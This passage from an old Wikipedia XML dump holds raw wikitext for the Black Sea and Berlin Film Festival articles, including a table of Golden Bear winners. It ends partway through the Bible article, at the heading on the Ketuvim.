The '''Black Sea'''  ([[Bulgarian language|Bulgarian]] ''Черно море'';   [[Modern Greek language|Modern Greek]] ''Μαύρη Θάλασσα''; [[Romanian language|Romanian]]: ''Marea Neagră''; [[Russian language|Russian]] ''Чёрное мо́ре''; [[Turkish language|Turkish]] ''Karadeniz'') (in antiquity known as the {{polytonic|Εὔξεινος Πόντος}}, [[Latin]] ''Pontus Euxinus'', &quot;Euxine Sea&quot;) is an inland [[sea]] between southeastern [[Europe]] and [[Asia Minor]]. It is connected to the [[Mediterranean Sea]] by the [[Bosporus]] and the [[Sea of Marmara]], and to the [[Sea of Azov]] by the [[Strait of Kerch]]. 

There is a net inflow of seawater through the Bosporus, 200 km&amp;sup3; per year. There is an inflow of freshwater from the surrounding areas, especially central and middle-eastern Europe, totalling 320 km&amp;sup3; per year. The most important river entering the Black Sea is the [[Danube]]. The Black Sea has an area of [[1 E11 m²|422,000 km²]] and a maximum depth of 2210 m.

Countries bordering on the Black Sea are [[Turkey]], [[Bulgaria]], [[Romania]], [[Ukraine]], [[Russia]], and [[Georgia (country)|Georgia]] (including the breakaway region of [[Abkhazia]]). The [[Crimean]] [[peninsula]] is a Ukrainian autonomous republic.

Important cities along the coast include: [[Istanbul]] (formerly [[Constantinople]] and [[Byzantium]]), [[Burgas]], [[Varna]], [[Constanta|Constan&amp;#355;a]], [[Yalta]], [[Odessa]], [[Sevastopol]], [[Kerch]], [[Novorossiysk]], [[Sochi]], [[Sukhumi]], [[Poti]], [[Batumi]], [[Trabzon]], [[Samsun]].

== Name ==
Modern names of the Sea are universally translations of Μαύρη Θάλασσα &quot;Black Sea&quot;, [[Turkish language|Turkish]] Kara Deniz, [[Russian language|Russian]] Чёрное море, [[Bulgarian language|Bulgarian]] Черно море, Cherno more, [[Georgian language|Georgian]] შავი ზღვა, shavi zghva, [[Ukrainian language|Ukrainian]] Chorne More,  [[Romanian language|Romanian]] Marea Neagră, [[Laz]] Ucha Zuğa (or simple Zuğa &quot;Sea&quot;), [[Ubykh language|Ubykh]] {{IPA|ʃʷaʤa}}. This type cannot be traced to an earlier date than the [[13th century]], but there are indications that it may be considerably older, cf. below.

[[Strabo]] (1.2.10) reports that in antiquity, the Black Sea was often just called &quot;the Sea&quot; (''pontos''), just like [[Homer]] was often simply called &quot;the Poet&quot;. For the most part, Graeco-Roman tradition refers to the Black Sea as {{Polytonic|Εὔξεινος Πόντος}} (''Euxeinos Pontos'') &quot;Hospitable sea&quot;. This is a [[euphemism]] replacing an earlier ''Pontos Axeinos'' &quot;Inhospitable Sea&quot;, first attested in [[Pindar]] (early 5th century BC). Strabo (7.3.6) thinks that the Black Sea was called &quot;inhospitable&quot; before Greek colonization, because it was difficult to navigate, and because its shores were inhabited by savage tribes, and that the name was changed to &quot;hospitable&quot; after the [[Milesians]] had colonized, as it were making it part of the Greek civilization. It is, however, likely that the name ''Axeinos'' arose by [[popular etymology]] from an Iranian ''axšaina-'' meaning &quot;dark&quot;; the designation &quot;Black Sea&quot; would, after all, go back to Antiquity. The motive for the name may be an ancient assignment of colours to the direction of the compass, &quot;black&quot; referring to the north, and &quot;red&quot; referring to the south. [[Herodotus]] on one occasion uses [[Red Sea]] and &quot;Southern Sea&quot; interchangeably. Cf. Schmitt 1996.



==Geology==
The Black Sea is the largest anoxic, or [[oxygen]]-free, marine system. This is a result of the great depth of the sea and the relatively high salinity (and therefore density) of the water at depth; freshwater and seawater mixing is limited to the uppermost 100 to 150 m, with the water below this interface (called the [[pycnocline]]) being exchanged only once every thousand years. There is therefore no significant gas exchange with the surface, and as a result [[decay]]ing [[organic compound|organic]] matter in the [[sediment]] consumes any available oxygen. In these anoxic conditions some [[extremophile]] microorganisms are able to use [[sulfate]] (SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;) for oxidation of organic material, producing [[hydrogen sulfide]] (H&lt;sub&gt;2&lt;/sub&gt;S) and [[carbon dioxide]]. This mix is extremely toxic (a lungful would be fatal to a human), resulting in a sea that has almost all of its ecology living in that top layer down to a depth of approximately 180 m (600 ft). The relative lack of [[micro-organisms]] and oxygen has allowed deep-sea expeditions to recover ancient (on the order of thousands of years) human artifacts, such as boat hulls and the remains of settlements.

[[Image:Ostrvo.gif|thumb|right|400px|The Bulgarian coastline of the Black Sea has only a few small, barren islands.]]

Large amounts of organic material reach the bottom of the sea and accumulate in the sediments in concentrations of up to 20%. These kinds of sediments are called [[sapropel]].

While it is agreed that the Black Sea has been a freshwater lake (at least in upper layers) with a considerably lower level during the last glaciation, its postglacial development into a marine sea is still a subject of intensive study and debate. There are catastrophic scenarios such as put forward by William Ryan and Walter Pitman as well as models emphasizing a more gradual transition to saline conditions and transgression in the Black Sea. They are based on different theories about the level the freshwater lake had reached by the time the Mediterranean Sea was high enough to flow over the Dardanelles and the Bosporus. On the other hand, a study of the sea floor on the [[Aegean Sea|Aegean]] side shows that in the [[8th millennium BC|8th millennium BCE]] there was a large flow of fresh water out of the Black Sea (New Scientist, [[4 May]] [[2002]], p. 13).

== Ryan-Pitman Deluge Theory ==
''For more detail, see the main article at [[Black Sea deluge theory]].''

In 1997, William Ryan and Walter Pitman from [[Columbia University]] published a theory that a massive flood through the [[Bosporus]] occurred in ancient times. They claim that the Black and [[Caspian Sea]]s were vast freshwater lakes, but that about [[5600 BC]], the [[Mediterranean Sea|Mediterranean]] spilled over a rocky sill at the Bosporus, creating the current communication between the Black and Mediterranean Seas. Subsequent work has been done to both support and discredit this theory, and it remains an active subject of debate among archaeologists.

==History==
The steppes to the north of the Black Sea have been suggested as the original homeland (''[[Urheimat]]'') of the speakers of the [[Proto-Indo-European language]], (PIE) the progenitor of the [[Indo-European languages|Indo-European language]] family, by some scholars (see [[Kurgan]]; others move the heartland further east towards the [[Caspian Sea]], yet others to [[Anatolia]]).

The name 'Black Sea' (initially ''Pontos Axeinos'', &quot;inhospitable sea&quot;, later renamed ''Pontos Euxeinos'', &quot;hospitable sea&quot; to gain the sea's good favor) was coined by the [[Ancient Greek]] navigators, because of the unusual dark color, compared with the [[Mediterranean Sea]].  Visibility in the Black Sea is on average approximately 5 metres (15 feet), as compared to up to 35 metres (100 feet) in the Mediterranean.  The water however is as blue as any other sea on bright, clear days.  The land at the eastern end of the Black Sea, [[Colchis]] (now [[Georgia (country)|Georgia]]), marked for the Greeks an edge of the known world.

==Holiday resorts and spas==
[[Image:sochi_edited.jpg|right|thumb|Photo of the Black Sea near Sochi, taken in 1915.]]

*[[Ahtopol]] (Bulgaria)
*[[Anapa]] (Russia)
*[[Alupka]] (Ukraine)
*[[Alushta]] (Crimea, Ukraine)
*[[Balchik]] (Bulgaria)
*[[Emona (Burgas)|Emona]] (Bulgaria)
*[[Eupatoria]] (Crimea, Ukraine)
*[[Theodosia]] (Crimea, Ukraine)
*[[Giresun]] (Turkey)
*[[Gagra]] (Georgia)
*[[Golden Sands]] (Bulgaria)
*[[Gurzuf]] (Crimea/Ukraine)
*[[Jupiter, Romania|Jupiter]] (Romania)
*[[Kobuleti]] (Georgia)
*[[Koktebel]] (Crimea/Ukraine)
*[[Mamaia]] (Romania)
*[[Mangalia]] (Romania)
*[[Neptun, Romania|Neptun]] (Romania)
*[[Nessebar]] (Bulgaria)
*[[Novorossiysk]] (Russia)
*[[Odessa]] (Ukraine)
*[[Olimp, Romania|Olimp]] (Romania)
*[[Pitsunda]] (Abkhazia/Georgia)
*[[Pomorie]] (Bulgaria)
*[[Rize]] (Turkey)
*[[Rusalka]] (Bulgaria)
*[[Saturn, Romania|Saturn]] (Romania)
*[[Sochi]] (Russia)
*[[Sozopol]] (Bulgaria)
*[[Sudak]] (Crimea/Ukraine)
*[[Sunny Beach]] (Bulgaria)
*[[Sveti Vlas]] (Bulgaria)
*[[Trabzon]] (Turkey)
*[[Tuapse]] (Russia)
*[[Vama Veche]] (Romania)
*[[Venus, Romania|Venus]] (Romania)
*[[Yalta]] (Crimea/Ukraine)

==See also==
*[[Anoxic event]]
*[[Bulgarian Black Sea Coast]]
*[[Ancomah]]

==References==
* Charles King, ''The Black Sea: A History'', 2004, ISBN 0199241619
* William Ryan and Walter Pitman, ''Noah's Flood'', 1999, ISBN 0684859203
* Neal Ascherson, ''Black Sea'' (Vintage 1996), ISBN 0099593718
* [[Özhan Öztürk]]. Karadeniz: Ansiklopedik Sözlük (Black Sea: Encyclopedic Dictionary). 2 Cilt (2 Volumes). Heyamola Publishing. Istanbul.2005 ISBN 975-6121-00-9.
* Rüdiger Schmitt, &quot;Considerations on the Name of the Black Sea&quot;, in: ''Hellas und der griechische Osten'' (Saarbrücken 1996), pp. 219-224

==External links==
*[http://blacksea.orlyonok.ru/blacksea.shtml Black Sea Environment and Marine Life - Learning Pages] (available in Russian and English languages)
*[http://www.blacksea-archaeology.org/ The Center for Black Sea Archaeology] (available in German and English languages)
*[http://goobix.com/black-sea-pictures/ Goobix.com - Black Sea Pictures] (from February 2005)
*[http://www.museum.upenn.edu/Sinop/SinopIntro.htm The Black Sea Trade Project]
*[http://ebs.hit.bg/ ECOLOGY OF BLACK SEA]
*[http://www.sonbaski.com/fotograf1.htm Black Sea Photo/Turkey]
*[http://earthfromspace.photoglobe.info/spc_blacksea.html Earth from Space] - Black Sea

[[Category:Black Sea]]
[[Category:Seas]]
{{Link FA|sl}}

[[ar:بحر أسود]]
[[ast:Mar Prieta]]
[[bg:Черно море]]
[[ca:Mar Negra]]
[[cs:Černé moře]]
[[cy:Y Môr Du]]
[[da:Sortehavet]]
[[de:Schwarzes Meer]]
[[el:Μαύρη Θάλασσα]]
[[et:Must meri]]
[[es:Mar Negro]]
[[eo:Nigra Maro]]
[[fr:Mer Noire]]
[[fy:Swarte See]]
[[gl:Mar Negro]]
[[ko:흑해]]
[[hr:Crno more]]
[[id:Laut Hitam]]
[[is:Svartahaf]]
[[it:Mar Nero]]
[[he:הים השחור]]
[[la:Pontus Euxinus]]
[[lt:Juodoji jūra]]
[[hu:Fekete-tenger]]
[[mk:Црно Море]]
[[mo:Маря Нягрэ]]
[[nl:Zwarte Zee]]
[[ja:黒海]]
[[ka:შავი ზღვა]]
[[no:Svartehavet]]
[[nn:Svartehavet]]
[[os:Сау денджыз]]
[[pl:Morze Czarne]]
[[pt:Mar Negro]]
[[ro:Marea Neagră]]
[[ru:Чёрное море]]
[[scn:Mari Niuru]]
[[simple:Black Sea]]
[[sk:Čierne more]]
[[sl:Črno morje]]
[[sr:Црно море]]
[[fi:Mustameri]]
[[sv:Svarta havet]]
[[th:ทะเลดำ]]
[[tr:Karadeniz]]
[[uk:Чорне море]]
[[zh:黑海]]</text>
    </revision>
  </page>
  <page>
    <title>Berlin Film Festival</title>
    <id>3387</id>
    <revision>
      <id>41651287</id>
      <timestamp>2006-02-28T20:27:21Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">[[Image:Berlinale logo small.png|right]]
'''The Berlin International Film Festival''', also called the '''&quot;Berlinale&quot;''', is one of the most important [[film festival]]s in [[Europe]] and the world. It is the film festival with most visitors worldwide. It is held annually in February (in [[2006]] from [[February 9]] until [[February 19]]) and has been arranged since [[1951]]. 

The [[jury]] always places special emphasis on representing [[film]]s from all over the world, from the former [[Eastern Block]] countries as well as from Western countries. The awards are called the Golden and Silver Bears (the Bear is the symbol of [[Berlin]]). 

==List of winners==
*[[Berlinale Camera]]
*[[Honorary Golden Bear]]

=== Golden Bear ===
{| class=&quot;wikitable&quot;
|-
! Year || Film
! Director || Country
|-
| [[2006]] || ''[[Grbavica (film)|Grbavica]]''
| [[Jasmila Žbanić]] || [[Bosnia and Herzegovina]]
|-
| [[2005]] || ''[[U-Carmen e-Khayelitsha]]''
| [[Marc Dornford-May]] || [[South Africa]]
|-
| [[2004]] || ''[[Head-On]]''
| [[Fatih Akin]] || [[Germany]]/[[Turkey]]
|-
| [[2003]] || ''[[In This World]]''
| [[Michael Winterbottom]] || [[United Kingdom]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[2002]] || ''[[Spirited Away]]''
| [[Miyazaki Hayao|Hayao Miyazaki]] || [[Japan]]
|-
| ''[[Bloody Sunday (film)|Bloody Sunday]]''
| [[Paul Greengrass]] || [[United Kingdom|UK]]/[[Republic of Ireland|Ireland]]
|-
| [[2001]] || ''[[Intimacy (2001 film)|Intimacy]]''
| [[Patrice Chéreau]] || [[France]]
|-
| [[2000]] || ''[[Magnolia_(movie)|Magnolia]]''
| [[Paul Thomas Anderson]] || [[United States]]
|-
| [[1999]] || ''[[The Thin Red Line (1998 film)|The Thin Red Line]]''
| [[Terrence Malick]] || [[United States]]
|-
| [[1998]] || ''[[Central do Brasil (Movie)|Central Station]]''
| [[Walter Salles]] || [[Brazil]]
|-
| [[1997]] || ''[[The People vs. Larry Flynt]]''
| [[Milos Forman]] || [[United States]]
|-
| [[1996]] || ''[[Sense and Sensibility (film)|Sense and Sensibility]]''
| [[Ang Lee]] || [[United States]]
|-
| [[1995]] || ''[[Fresh Bait]]''
| [[Bertrand Tavernier]] || [[France]]
|-
| [[1994]] || ''[[In the Name of the Father]]''
| [[Jim Sheridan]] || [[United Kingdom|UK]]/[[Republic of Ireland|Ireland]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[1993]] || ''[[The Women from the Lake of Scented Souls]]''
| [[Xie Fei]] || [[People's Republic of China|China]]
|-
| ''[[The Wedding Banquet]]''
| [[Ang Lee]] || [[Taiwan]]
|-
| [[1992]] || ''[[Grand Canyon (film)|Grand Canyon]]''
| [[Lawrence Kasdan]] || [[United States]]
|-
| [[1991]] || ''[[La Casa del sorriso]]''
| [[Marco Ferreri]] || [[Italy]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[1990]] || ''[[Music Box (film)|Music Box]]''
| [[Costa-Gavras]] || [[United States]]
|-
| ''[[Larks on a String]]''
| [[Jiri Menzel]] || [[Czechoslovakia]]
|-
| [[1989]] || ''[[Rain Man]]''
| [[Barry Levinson]] || [[United States]]
|-
| [[1988]] || ''[[Red Sorghum]]''
| [[Yimou Zhang]] || [[People's Republic of China|China]]
|-
| [[1987]] || ''[[Tema]]''
| [[Gleb Panfilov]] || [[Soviet Union]]
|-
| [[1986]] || ''[[Stammheim]]''
| [[Reinhard Hauff]] || [[West Germany]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[1985]] || ''[[Die Frau und der Fremde]]''
| [[Rainer Simon]] || [[East Germany]]
|-
| ''[[Wetherby (film)|Wetherby]]''
| [[David Hare]] || [[United Kingdom]]
|-
| [[1984]] || ''[[Love Streams]]''
| [[John Cassavetes]] || [[United States]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[1983]] || ''[[Ascendancy]]''
| [[Edward Bennett]] || [[United Kingdom]]
|-
| ''[[The Beehive (1982 film)|The Beehive]]''
| [[Mario Camus]] || [[Spain]]
|-
| [[1982]] || ''[[Veronika Voss]]''
| [[Rainer Werner Fassbinder]] || [[West Germany]]
|-
| [[1981]] || ''[[Faster, Faster]]''
| [[Carlos Saura]] || [[Spain]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[1980]] || ''[[Heartland]]''
| [[Richard Pearce]] || [[United States]]
|-
| ''[[Palermo or Wolfsburg]]''
| [[Werner Schroeter]] || [[West Germany]]
|-
| [[1979]] || ''[[David (film)|Daivd]]''
| [[Peter Lilienthal]] || [[West Germany]]
|-
| rowspan=&quot;2&quot; style=&quot;vertical-align:top&quot; | [[1978]] || ''[[Trout (film)|Trout]]''
| [[José Luis García Sánchez]] || [[Spain]]
|-
| ''[[What Max Said]]''
| [[Emilio Martínez Lázaro]] || [[Spain]]
|-
| [[1977]] || ''[[Ascent (film)|Ascent]]''
| [[Larisa Shepitko]] || [[Soviet Union]]
|-
| [[1976]] || ''[[Buffalo Bill and the Indians]]''
| [[Robert Altman]] || [[United States]]
|-
| [[1975]] || ''[[Adoption (film)|Adoption]]''
| [[Márta Mészáros]] || [[Hungary]]
|-
| [[1974]] || ''[[The Apprenticeship of Duddy Kravitz]]''
| [[Ted Kotcheff]] || [[Canada]]
|-
| [[1973]] || ''[[Distant Thunder]]''
| [[Satyajit Ray]] || [[India]]
|-
| [[1972]] || ''[[The Canterbury Tales (film)|The Canterbury Tales]]''
| [[Pier Paolo Pasolini]] || [[Italy]]
|-
| [[1971]] || ''[[The Garden of the Finzi-Continis]]''
| [[Vittorio De Sica]] || [[Italy]]/[[West Germany|W. Germany]]
|-
| [[1970]] || N/A
| N/A || N/A
|-
| [[1969]] || ''[[Rani Radovi]]''
| [[Zelimir Zilnik]] || [[Yugoslavia]]
|-
| [[1968]] || ''[[Ole dole doff]]''
| [[Jan Troell]] || [[Sweden]]
|-
| [[1967]] || ''[[Le départ]]''
| [[Jerzy Skolimowski]] || [[Belgium]]
|-
| [[1966]] || ''[[Cul-de-sac]]''
| [[Roman Polanski]] || [[United Kingdom]]
|-
| [[1965]] || ''[[Alphaville]]''
| [[Jean-Luc Godard]] || [[France]]/[[Italy]]
|-
| [[1964]] || ''[[Susuz Yaz]]''
| [[Ismail Metin]] || [[Turkey]]
|-
| [[1963]] || ''[[Il Diavolo]]''
| [[Gian Luigi Polidoro]] || [[Italy]]
|-
| [[1962]] || ''[[A Kind of Loving]]''
| [[John Schlesinger]] || [[United Kingdom]]
|-
| [[1961]] || ''[[La notte]]''
| [[Michelangelo Antonioni]] || [[Italy]]
|-
| [[1960]] || ''[[El lazarillo de tormes]]''
| [[César Ardavin]] || [[Spain]]
|-
| [[1959]] || ''[[Les cousins]]''
| [[Claude Chabrol]] || [[France]]
|-
| [[1958]] || ''[[Smultronstället]]''
| [[Ingmar Bergman]] || [[Sweden]]
|-
| [[1957]] || ''[[Twelve Angry Men]]''
| [[Sidney Lumet]] || [[United States]]
|-
| [[1956]] || ''[[Invitation To The Dance]]''
| [[Gene Kelly]] || [[United States]]
|-
| [[1955]] || ''[[Die Ratten]]''
| [[Robert Siodmak]] || [[Federal Republic of Germany]]
|-
| [[1954]] || ''[[Hobson's Choice]]''
| [[David Lean]] || [[United Kingdom]]
|-
| [[1953]] || ''[[Le salaire de la peur]]''
| [[Henri-Georges Clouzot]] || [[France]]/[[Italy]]
|-
| [[1952]] || ''[[Hon dansade en sommar]]''
| [[Arne Mattsson]] || [[Sweden]]
|}

== See also ==
*[[Academy Awards]]

== External links ==
*[http://www.berlinale.de Official website]
*[[:de:Goldener Bär|Goldener Bär]] from the German-language Wikipedia; includes winners since [[1951]]

[[Category:Cinema of Germany]]
[[Category:Film awards]]
[[Category:Film festivals]]

[[af:Berlinale]]
[[bs:Berlinare]]
[[da:Filmfestivalen i Berlin]]
[[de:Internationale Filmfestspiele Berlin]]
[[es:Festival Internacional de Cine de Berlín]]
[[eo:Berlinale]]
[[fr:Berlinale]]
[[it:Festival di Berlino]]
[[ja:ベルリン国際映画祭]]
[[no:Filmfestivalen i Berlin]]
[[pl:Festiwal Filmowy w Berlinie]]
[[pt:Festival de Berlim]]
[[sk:Berlinale]]
[[hu:Berlini Nemzetközi Filmfesztivál]]
[[zh:柏林电影节]]</text>
    </revision>
  </page>
  <page>
    <title>Bible</title>
    <id>3390</id>
    <revision>
      <id>42130754</id>
      <timestamp>2006-03-04T00:48:18Z</timestamp>
      <contributor>
        <username>KHM03</username>
        <id>189278</id>
      </contributor>
      <comment>/* External links */ rm spam</comment>
      <text xml:space="preserve">{{otheruses}}
The '''Bible''' (Hebrew &amp;#1514;&amp;#1504;&amp;#1524;&amp;#1498; [[tanakh]], Greek η Βίβλος [''hē biblos''] ) (sometimes '''The [[Holy]] Bible''', '''The Book''', '''Good Book''', '''[[Word of God]]''', '''The Word''' '''[[Scripture]]'''), from [[Greek language|Greek]] (τα) βίβλια, ''(ta) biblia'', &quot;(the) books&quot;, is the classical name for the [[Hebrew Bible]] of [[Judaism]] or the combination of the [[Old Testament]] and [[New Testament]] of [[Christianity]] (&quot;The Bible&quot; actually refers to two testaments of Scripture).  The term has come to be applied to any [[sacred]] [[scripture]]s.  Many [[Christian]] [[English language|English]] speakers refer to the Bible as &quot;the good book&quot; (''[[Gospel]]'' means &quot;good news&quot;).  Many people claim that the Bible is the revealed word of [[God]], or an authoritative record of the relationship between God, the world and [[Human|mankind]].

Both Bibles have been the most widely distributed of books.  It has also been translated more times and into more languages (more than 2,100 languages) than any other book. It is said that more than five billion copies of the Bible have been sold since 1815, making it the best-selling book of all-time.

Because of Christian domination of Europe from the late [[Roman era]] to the [[Age of Enlightenment]], the Christian Bible has influenced not only religion but language, law and, until the [[Early modern Europe|modern era]], the [[natural philosophy]] of mainstream [[Western world|Western Civilization]].  The Age of Enlightenment and the [[Scientific Revolution]] in Europe and America brought skepticism regarding the divine origin and historical accuracy of the Bible. Although some critical scholars, including archeologists, continue to use the Bible as a point of reference in the study of ancient Near Eastern history, most have come to view it as a cultural and literary document.

Although the term &quot;Bible&quot; is most often used to refer to Jewish and Christian scriptures, &quot;Bible&quot; is sometimes used to describe scriptures of other faiths. Thus the ''[[Guru Granth Sahib]]'' is often referred to as the &quot;[[Sikhism|Sikh]] Bible&quot;.  In the early years after the publication of the [[Book of Mormon]] in 1830, it was sometimes known as the &quot;Golden Bible&quot;. The word &quot;bible&quot; (in [[lower case]]) is also used to refer to any [[tome]] that incorporates coverage of its subject that is comprehensive or authoritative, or both.  

As the original meaning of the word indicates, the Jewish and Christian Bibles are actually collections of several books considered by adherents to be inspired by [[God]] or to record God's relationship with humanity or a particular nation.

==The Hebrew Bible==
{{main|Tanakh}}
[[Image:241530 7953 torah.jpg|thumb|The holy Jewish scripture: The Torah. Background: [[Magen David|Star of David]], [[Menorah]].]]
The Hebrew Bible (also known as the Jewish Bible, or תנ&quot;ך, [[Tanakh]] in [[Hebrew language|Hebrew]]) consists of 24 books.  Tanakh is an acronym for the three parts of the Hebrew Bible: the [[Torah]] (Pentateuch), [[Nevi'im]](Prophets), and [[Ketuvim]] (Writings). 

===Torah===
The [[Torah]], or &quot;Teaching,&quot; is also known as the five books of [[Moses]], thus [[Humash|Chumash]] or [[Pentateuch]] (Hebrew and Greek for &quot;five,&quot; respectively).
 
The five books are:
*I [[Genesis (Old Testament)|Genesis]] (''Bereishit'' &amp;#1489;&amp;#1512;&amp;#1488;&amp;#1513;&amp;#1497;&amp;#1514;),
*II [[Exodus]] (''Shemot'' &amp;#1513;&amp;#1502;&amp;#1493;&amp;#1514;),
*III [[Leviticus]] (''Vayikra'' &amp;#1493;&amp;#1497;&amp;#1511;&amp;#1512;&amp;#1488;),
*IV [[Book of Numbers|Numbers]] (''Bemidbar'' &amp;#1489;&amp;#1502;&amp;#1491;&amp;#1489;&amp;#1512;), and
*V [[Deuteronomy]] (''Devarim'' &amp;#1491;&amp;#1489;&amp;#1512;&amp;#1497;&amp;#1501;)

The Torah focuses on three moments in the changing relationship between God and people.  
*The first eleven chapters of Genesis provide accounts of the [[Creation (theology)|creation]] (or ordering) of the world, and the history of God's early relationship with humanity.  
*The remaining thirty-nine chapters of Genesis provide an account of God's covenant with the Hebrew patriarchs, [[Abraham]], [[Isaac]] and [[Jacob]] (also called [[Israel]]), and Jacob's children (the &quot;Children of Israel&quot;), especially [[Joseph]].  It tells of how God commanded Abraham to leave his family and home in the city of Ur, eventually to settle in the land of Canaan, and how the Children of Israel later moved to Egypt.
*The remaining four books of the Torah tell the story of [[Moses]], the greatest Hebrew prophet, who lived hundreds of years after the patriarchs.  His story coincides with the story of the liberation of the Children of Israel from slavery in Egypt, to the renewal of their covenant with God at Mount Sinai, and their wanderings in the desert until a new generation would be ready to enter the land of Canaan.  The Torah ends with the death of Moses.

Traditionally, the Torah contains 613 [[Mitzvah|mitzvot]], or commandments, of God, revealed during the passage from slavery in the land of Egypt to freedom in the land of Canaan.  These commandments provide the basis for Jewish law [[Halakha]] and are elaborated in the [[Talmud]].  

The Torah is divided into fifty-four portions which are read in turn, from the beginning of [[Genesis]] to the end of Deuteronomy, each [[Shabbat|Sabbath]].  The cycle ends and recommences at the end of [[Sukkot]], which is called [[Simchat Torah]].

====The Two Torahs====
By the Hellenistic period of Jewish history, Jews were divided over the nature of the Torah.  Some (for example, the [[Sadducees]]) believed that the Chumash contained the entire Torah, that is, the entire contents of what God revealed to Moses at Sinai and in the desert.  Others, principally the [[Pharisees]], believed that the Chumash represented only that portion of the revelation that had been written down (i.e., the Written Torah or the Written Law), but that the rest of God's revelation had been passed down orally (thus composing the Oral Law or Oral Torah).  Orthodox Jews today believe that the [[Talmud]] consists of the Oral Torah committed to writing.

====The Four Sources====
Although Orthodox Jews generally believe that the Torah was given to the Children of Israel at Sinai &quot;Min Hashamayim&quot;, from the heavens &amp;mdash; that is, that God actually dictated the words of [[Torah]] to [[Moses]] atop Mount Sinai &amp;mdash; most [[Conservative Judaism|Conservative]], [[Reform Judaism|Reform]] and [[Reconstructionist Judaism|Reconstructionist Jews]], as well as many liberal Christian scholars, now accept the [[documentary hypothesis]].  This theory posits that the Written Torah has its origins in earlier sources who lived during the time of the monarchy, labeled J (Yahwists), E (Elohim), D (Deuteronomists), and P (Priests). These in turn may go back to oral traditions and/or drew on (and sometimes parodied) earlier [[Ancient Near East|ancient Near Eastern]] mythology. Julius Wellhausen, who in the late 1800s gave this hypothesis a definitive formulation, suggested that these sources were edited together or redacted during the time of [[Ezra]], perhaps by Ezra himself. Since that time Wellhausen's theory has been widely debated by critical scholars (most notably by [[Yehezkel Kaufman]]).  Some have questioned the coherence of each of the four sources, and claims that they are the work of four authors or even four distinct traditions.  Nevertheless, virtually all non-Orthodox Jews accept that the Bible was written by human beings over some period of time.   

Jewish scholars who accept the documentary hypothesis differ as to whether these sources were or were not divinely inspired, and also differ over the nature and extent of their obligation to the 613 commandments and to the body of law represented in the Oral Torah, although each branch of Judaism recognizes both the Written and Oral Torahs as central to Jewish tradition, whether it be conceived of as sacred, national, or cultural.

===Nevi'im===
The [[Nevi'im]], or &quot;Prophets,&quot; tells the story of the rise of the Hebrew monarchy, its division into two kingdoms, and the prophets who, in God's name, judged the kings and the Children of Israel.  It ends with the conquest of the Kingdom of Israel by the Assyrians and the conquest of the Kingdom of Judah by the Babylonians, and the destruction of the Temple in Jerusalem.  Portions of the prophetic books are read on the Sabbath (Shabbat).  The [[Book of Jonah]] is read on [[Yom Kippur]].  

According to Jewish tradition, Nevi'im is divided into eight books.  Contemporary translations subdivide these into seventeen books.

The eight books are:
* I. [[Book of Joshua|Joshua]] or Yehoshua [&amp;#1497;&amp;#1492;&amp;#1493;&amp;#1513;&amp;#1506;]
* II. [[Book of Judges|Judges]] or Shoftim [&amp;#1513;&amp;#1493;&amp;#1508;&amp;#1496;&amp;#1497;&amp;#1501;]
* III. [[Books of Samuel|Samuel]] or Shmu'el [&amp;#1513;&amp;#1502;&amp;#1493;&amp;#1488;&amp;#1500;] (often divided into two books; Samuel may be considered the last of the judges (his sons were named judges, but rejected by the people) or the first of the prophets; it was he who negotiated on behalf of the Children of Israel with God to anoint a King)
* IV. [[Books of Kings|Kings]] or Melakhim [&amp;#1502;&amp;#1500;&amp;#1499;&amp;#1497;&amp;#1501;] (often divided into two books)
* V. [[Book of Isaiah|Isaiah]] or Yeshayahu [&amp;#1497;&amp;#1513;&amp;#1506;&amp;#1497;&amp;#1492;&amp;#1493;]
* VI. [[Book of Jeremiah|Jeremiah]] or Yirmiyahu [&amp;#1497;&amp;#1512;&amp;#1502;&amp;#1497;&amp;#1492;&amp;#1493;]
* VII. [[Book of Ezekiel|Ezekiel]] or Yehezq'el [&amp;#1497;&amp;#1495;&amp;#1494;&amp;#1511;&amp;#1488;&amp;#1500;]
* VIII. Trei Asar (The Twelve [[Minor Prophets]]) &amp;#1514;&amp;#1512;&amp;#1497; &amp;#1506;&amp;#1513;&amp;#1512;
*# [[Book of Hosea|Hosea]] or Hoshea [&amp;#1492;&amp;#1493;&amp;#1513;&amp;#1506;]
*# [[Book of Joel|Joel]] or Yo'el [&amp;#1497;&amp;#1493;&amp;#1488;&amp;#1500;]
*# [[Book of Amos|Amos]] [&amp;#1506;&amp;#1502;&amp;#1493;&amp;#1505;]
*# [[Book of Obadiah|Obadiah]] or Ovadyah [&amp;#1506;&amp;#1489;&amp;#1491;&amp;#1497;&amp;#1492;]
*# [[Book of Jonah|Jonah]] or Yonah [&amp;#1497;&amp;#1493;&amp;#1504;&amp;#1492;]
*# [[Book of Micah|Micah]] or Mikhah [&amp;#1502;&amp;#1497;&amp;#1499;&amp;#1492;]
*# [[Book of Nahum|Nahum]] or Nachum [&amp;#1504;&amp;#1495;&amp;#1493;&amp;#1501;]
*# [[Book of Habakkuk|Habakkuk]] or Habaquq [&amp;#1495;&amp;#1489;&amp;#1511;&amp;#1493;&amp;#1511;]
*# [[Book of Zephaniah|Zephaniah]] or Tsefania [&amp;#1510;&amp;#1508;&amp;#1504;&amp;#1497;&amp;#1492;]
*# [[Book of Haggai|Haggai]] [&amp;#1495;&amp;#1490;&amp;#1497;]
*# [[Book of Zechariah|Zechariah]] or Zekharia [&amp;#1494;&amp;#1499;&amp;#1512;&amp;#1497;&amp;#1492;]
*# [[Book of Malachi|Malachi]] or Malakhi [&amp;#1502;&amp;#1500;&amp;#1488;&amp;#1499;&amp;#1497;]

The Torah and the Nevi'im have an epical quality, although they have no human hero (Moses and David are, in many ways, antiheroes; one may consider the Children of Israel collectively to be the hero of the epic, or, if one must choose a single character, God).

===Ketuvim===
